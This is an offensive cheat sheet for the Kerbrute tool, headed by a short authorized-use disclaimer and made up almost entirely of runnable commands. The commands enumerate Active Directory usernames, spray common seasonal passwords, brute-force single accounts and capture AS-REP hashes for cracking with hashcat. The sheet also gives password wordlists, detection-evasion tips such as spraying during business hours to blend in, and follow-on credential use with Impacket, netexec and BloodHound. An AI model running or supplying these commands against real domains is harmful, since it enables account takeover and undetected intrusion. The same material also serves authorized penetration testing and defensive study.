← All cheat sheets

KERBRUTE

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Kerbrute is a fast Kerberos brute-forcing tool.
Used for user enumeration and password spraying via Kerberos pre-auth.

INSTALLATION#

# Download binary
# https://github.com/ropnop/kerbrute/releases

# Go install
go install github.com/ropnop/kerbrute@latest

BASIC SYNTAX#

kerbrute <command> [flags]

# Commands:
bruteuser      Bruteforce password for single user
bruteforce     Bruteforce users/passwords from files
passwordspray  Test single password against users
userenum       Enumerate valid usernames

DOMAIN SPECIFICATION#

-d, --domain DOMAIN     Target domain
--dc DC                 Domain controller IP/hostname

USER ENUMERATION#


    

BASIC ENUMERATION#

# Enumerate users from file
kerbrute userenum -d domain.local users.txt

# Specify DC
kerbrute userenum -d domain.local --dc 192.168.1.1 users.txt

# Save valid users
kerbrute userenum -d domain.local users.txt -o valid_users.txt

ENUMERATION OPTIONS#

kerbrute userenum -d domain.local users.txt
kerbrute userenum -d domain.local users.txt --dc dc01.domain.local
kerbrute userenum -d domain.local users.txt -o valid.txt
kerbrute userenum -d domain.local users.txt -t 50  # Threads

PASSWORD SPRAYING#


    

BASIC SPRAY#

# Single password against user list
kerbrute passwordspray -d domain.local users.txt 'Password123'

# Specify DC
kerbrute passwordspray -d domain.local --dc 192.168.1.1 users.txt 'Summer2024!'

# Save successful logins
kerbrute passwordspray -d domain.local users.txt 'Password123' -o valid_creds.txt

SPRAY OPTIONS#

kerbrute passwordspray -d domain.local users.txt 'Password123'
kerbrute passwordspray -d domain.local users.txt 'Password123' --dc dc01
kerbrute passwordspray -d domain.local users.txt 'Password123' -o creds.txt
kerbrute passwordspray -d domain.local users.txt 'Password123' -t 10  # Slower

USER BRUTEFORCE#


    

SINGLE USER#

# Bruteforce single user
kerbrute bruteuser -d domain.local passwords.txt username

# With DC
kerbrute bruteuser -d domain.local --dc 192.168.1.1 passwords.txt admin

BRUTEFORCE OPTIONS#

kerbrute bruteuser -d domain.local wordlist.txt administrator
kerbrute bruteuser -d domain.local wordlist.txt admin -o found.txt

COMBINED BRUTEFORCE#


    

USER/PASS LISTS#

# Bruteforce with user and password lists
kerbrute bruteforce -d domain.local combos.txt

# combos.txt format:
# user1:password1
# user2:password2
# user1:password2

# Or separate files
kerbrute bruteforce -d domain.local --users users.txt --passwords passwords.txt

COMMON OPTIONS#

-d, --domain        Target domain (required)
--dc                Domain controller
-o, --output        Output file for results
-t, --threads       Number of threads (default: 10)
-v, --verbose       Verbose output
--safe              Safe mode (stop on lockout detection)
--delay             Delay between requests (ms)
--downgrade         Downgrade encryption (RC4)
--hash-file         Output ASREP hashes to file

OUTPUT OPTIONS#

# Standard output
kerbrute userenum -d domain.local users.txt

# Save to file
kerbrute userenum -d domain.local users.txt -o valid_users.txt

# Verbose
kerbrute userenum -d domain.local users.txt -v

SAFE MODE#

# Stop if lockout detected
kerbrute passwordspray -d domain.local users.txt 'Password123' --safe

# With delay (avoid lockout)
kerbrute passwordspray -d domain.local users.txt 'Password123' --delay 1000

AS-REP ROASTING#

# Get AS-REP hashes during enumeration
kerbrute userenum -d domain.local users.txt --downgrade --hash-file asrep.txt

# Crack with hashcat
hashcat -m 18200 asrep.txt wordlist.txt

WORDLISTS#


    

USER ENUMERATION#

# Common usernames
administrator
admin
guest
krbtgt
svc_
service
backup
test

# Generate from names
# firstname.lastname
# f.lastname
# firstnamelastname

PASSWORD SPRAY#

# Common passwords
Password123
Password1
Welcome1
Summer2024
Winter2024
Company123
CompanyName1!

# Seasonal patterns
Season+Year+!
Month+Year+!

PRACTICAL WORKFLOWS#


    

INITIAL ENUMERATION#

# 1. Enumerate valid users
kerbrute userenum -d domain.local users.txt --dc 192.168.1.1 -o valid_users.txt

# 2. Check for AS-REP roastable
kerbrute userenum -d domain.local valid_users.txt --downgrade --hash-file asrep.txt

# 3. Password spray
kerbrute passwordspray -d domain.local valid_users.txt 'Summer2024!' --safe

SPRAY WORKFLOW#

# Start with common passwords
kerbrute passwordspray -d domain.local users.txt 'Password1' --safe -o found1.txt
kerbrute passwordspray -d domain.local users.txt 'Welcome1' --safe -o found2.txt
kerbrute passwordspray -d domain.local users.txt 'Company123' --safe -o found3.txt

# Be careful with lockout!
# Check password policy first

EVASION TIPS#

# Use delays to avoid detection
kerbrute passwordspray -d domain.local users.txt 'Password123' --delay 3000

# Lower thread count
kerbrute passwordspray -d domain.local users.txt 'Password123' -t 1

# Safe mode
kerbrute passwordspray -d domain.local users.txt 'Password123' --safe

# Spray during business hours (blend in)
# Limit attempts per account

INTEGRATION#


    

WITH CRACKMAPEXEC#

# After finding creds with kerbrute:
nxc smb dc -u found_user -p 'Password123'

WITH IMPACKET#

# Use found creds
GetUserSPNs.py domain.local/found_user:'Password123' -dc-ip 192.168.1.1

WITH BLOODHOUND#

# Collect data with found creds
bloodhound-python -u found_user -p 'Password123' -d domain.local -c All

TROUBLESHOOTING#

# DNS issues - use --dc with IP
kerbrute userenum -d domain.local --dc 192.168.1.1 users.txt

# Timeout issues
kerbrute userenum -d domain.local users.txt --timeout 10

# Verbose for debugging
kerbrute userenum -d domain.local users.txt -v

ALTERNATIVES#

# Nmap krb5-enum-users script
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='domain.local',userdb=users.txt DC_IP

# GetNPUsers.py (for AS-REP)
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip DC_IP -format hashcat

# Rubeus (from Windows)
Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:domain.local

QUICK REFERENCE#

kerbrute userenum -d domain.local users.txt                    # Enum users
kerbrute userenum -d domain.local users.txt --dc DC_IP         # With DC
kerbrute passwordspray -d domain.local users.txt 'Pass123'     # Spray
kerbrute passwordspray -d domain.local users.txt 'Pass' --safe # Safe mode
kerbrute bruteuser -d domain.local passwords.txt admin         # Brute user
kerbrute userenum -d domain.local users.txt --hash-file x.txt  # Get AS-REP